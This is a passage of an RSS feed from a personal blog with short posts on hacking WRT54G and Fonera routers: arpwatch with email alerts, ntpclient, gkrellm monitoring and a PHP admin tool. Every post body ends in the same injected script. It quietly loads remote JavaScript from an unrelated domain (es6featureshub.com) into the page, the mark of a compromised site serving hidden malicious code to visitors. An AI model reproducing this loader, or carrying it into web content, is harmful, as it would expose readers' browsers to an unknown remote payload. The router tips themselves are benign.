<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02545.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02545.sized.jpg" /></div>
<p>Here, you can the 8Mo serial flash made by ST. And the Altima network chip.</p>
<div class="image"><img src="http://jkx.larsen-b.com/photos/Electronic/DSC02547.sized.jpg" alt="http://jkx.larsen-b.com/photos/Electronic/DSC02547.sized.jpg" /></div>
<p>This looks like a great hardware to hack&#8230; some, and have a <a class="reference" href="http://wiki.openwrt.org/OpenWrtDocs/Hardware/Fon/Fonera">OpenWRT</a> port. But it seems to have a really limited free GPIO and the BGA package doesn&#8217;t help :(<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/251.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Arpwatch on WRT54G</title>
		<link>http://www.larsen-b.com/Article/203.html</link>
		<comments>http://www.larsen-b.com/Article/203.html#comments</comments>
		<pubDate>Thu, 12 May 2005 15:22:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[AP]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[openwrt]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[wrt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[While running my access point in public mode, i want to know when people log in. This can be a good way to find intruders too, but not my purpose. I decided to run arpwatch on my linksys access point, &#8230; <a href="http://www.larsen-b.com/Article/203.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>While running my access point in public mode, i want to know when people log in. This can be a good way to find intruders too, but not my purpose.<br />
I decided to run arpwatch on my linksys access point, but this is not so easy ..</p>
<div id="mail" class="section">
<h1><a name="mail">1) Mail</a></h1>
<p>First you need to have sendmail on the WRT. So install mini_sendmail. Add a file <strong>/usr/sbin/sendmail</strong> that contains:</p>
<pre class="literal-block">#!/bin/sh
/usr/sbin/mini_sendmail -t -sIP_of_your_mail_relay</pre>
<p>Check that it &#8216;s working..</p>
</div>
<div id="arpwatch" class="section">
<h1><a name="arpwatch">2) Arpwatch</a></h1>
<p>Run arpwatch on the WRT throught this script:</p>
<pre class="literal-block">#!/bin/sh
IFNAME=$(nvram get wifi_ifname)

case $1 in
start)
touch /tmp/arpwatch.dat
arpwatch -f /tmp/arpwatch.dat -i $IFNAME
;;
stop)
killall arpwatch
;;
*)
echo "usage: $0 (start|stop)"
exit 1
esac

exit $?</pre>
</div>
<div id="check" class="section">
<h1><a name="check">3) Check</a></h1>
<p>Wait a bit, connect to your wifi, look at your email on the gateway. (<a class="reference" href="mailto:root@gw">root@gw</a>) you will see something like this:</p>
<pre class="literal-block">From: root@openwrt.local.net
Subject: new station

hostname: &lt;unknown&gt;
ip address: 192.168.2.1
ethernet address: 0:f:66:c7:b5:b1
ethernet vendor: &lt;unknown&gt;
timestamp: Tuesday, January 18, 2000 14:34:01 +0000</pre>
<p>Enjoy :)</p>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/203.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Have fun with a Gkrellm on a WRT54G ? Geeky no ..:)</title>
		<link>http://www.larsen-b.com/Article/192.html</link>
		<comments>http://www.larsen-b.com/Article/192.html#comments</comments>
		<pubDate>Tue, 01 Feb 2005 12:08:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[AP]]></category>
		<category><![CDATA[gkrellm]]></category>
		<category><![CDATA[openwrt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Ok a little screenshot is perhaps better than a long talk. Yes, I use gkrellm to monitor my WRT (mainly the bandwith, CPU Load .. and other stuffs). This is pretty easy to use, and friendly no ? update: I &#8230; <a href="http://www.larsen-b.com/Article/192.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Ok a little screenshot is perhaps better than a long talk.</p>
<div class="image"><img src="http://brest-wireless.net/albums/Misc/gkrellm_wrt.gif" alt="http://brest-wireless.net/albums/Misc/gkrellm_wrt.gif" /></div>
<p>Yes, I use gkrellm to monitor my WRT (mainly the bandwith, CPU Load .. and other stuffs). This is pretty easy to use, and friendly no ?</p>
<p><strong>update</strong>: I miss the URL: <a class="reference" href="http://chriscarey.us/software/gkrellm/wrt54g/">http://chriscarey.us/software/gkrellm/wrt54g/</a><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/192.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Ntp on a WRT54</title>
		<link>http://www.larsen-b.com/Article/188.html</link>
		<comments>http://www.larsen-b.com/Article/188.html#comments</comments>
		<pubDate>Mon, 03 Jan 2005 21:35:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[AP]]></category>
		<category><![CDATA[ntp]]></category>
		<category><![CDATA[openwrt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Ok, everybody know ntp. But how can i use it on a linksys WRT54 to set up clock once.. without a decent man page ? ntpclient -s -c 1 -h local-ntp-server.domain]]></description>
				<content:encoded><![CDATA[<p>Ok, everybody know ntp. But how can i use it on a linksys WRT54 to set up clock once.. without a decent man page ?</p>
<pre class="literal-block">ntpclient -s -c 1 -h local-ntp-server.domain</pre>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/188.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>OpenWRT Admin Tool in PHP</title>
		<link>http://www.larsen-b.com/Article/185.html</link>
		<comments>http://www.larsen-b.com/Article/185.html#comments</comments>
		<pubDate>Thu, 23 Dec 2004 14:09:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[AP]]></category>
		<category><![CDATA[openwrt]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[In a recent post, i described the build of Python for a WRT. I didn&#8217;t manage to finish this hack. So I decided to use a PHP interface. Here the first screenshot]]></description>
				<content:encoded><![CDATA[<p>In a recent post, i described the build of Python for a WRT. I didn&#8217;t manage to finish this hack. So I decided to use a PHP interface. Here the first screenshot</p>
<p><img src="http://jkx.larsen-b.com/photos/blog/open_wrt_admin.sized.jpg" alt="http://jkx.larsen-b.com/photos/blog/open_wrt_admin.sized.jpg" /><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/185.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
	</channel>
</rss>
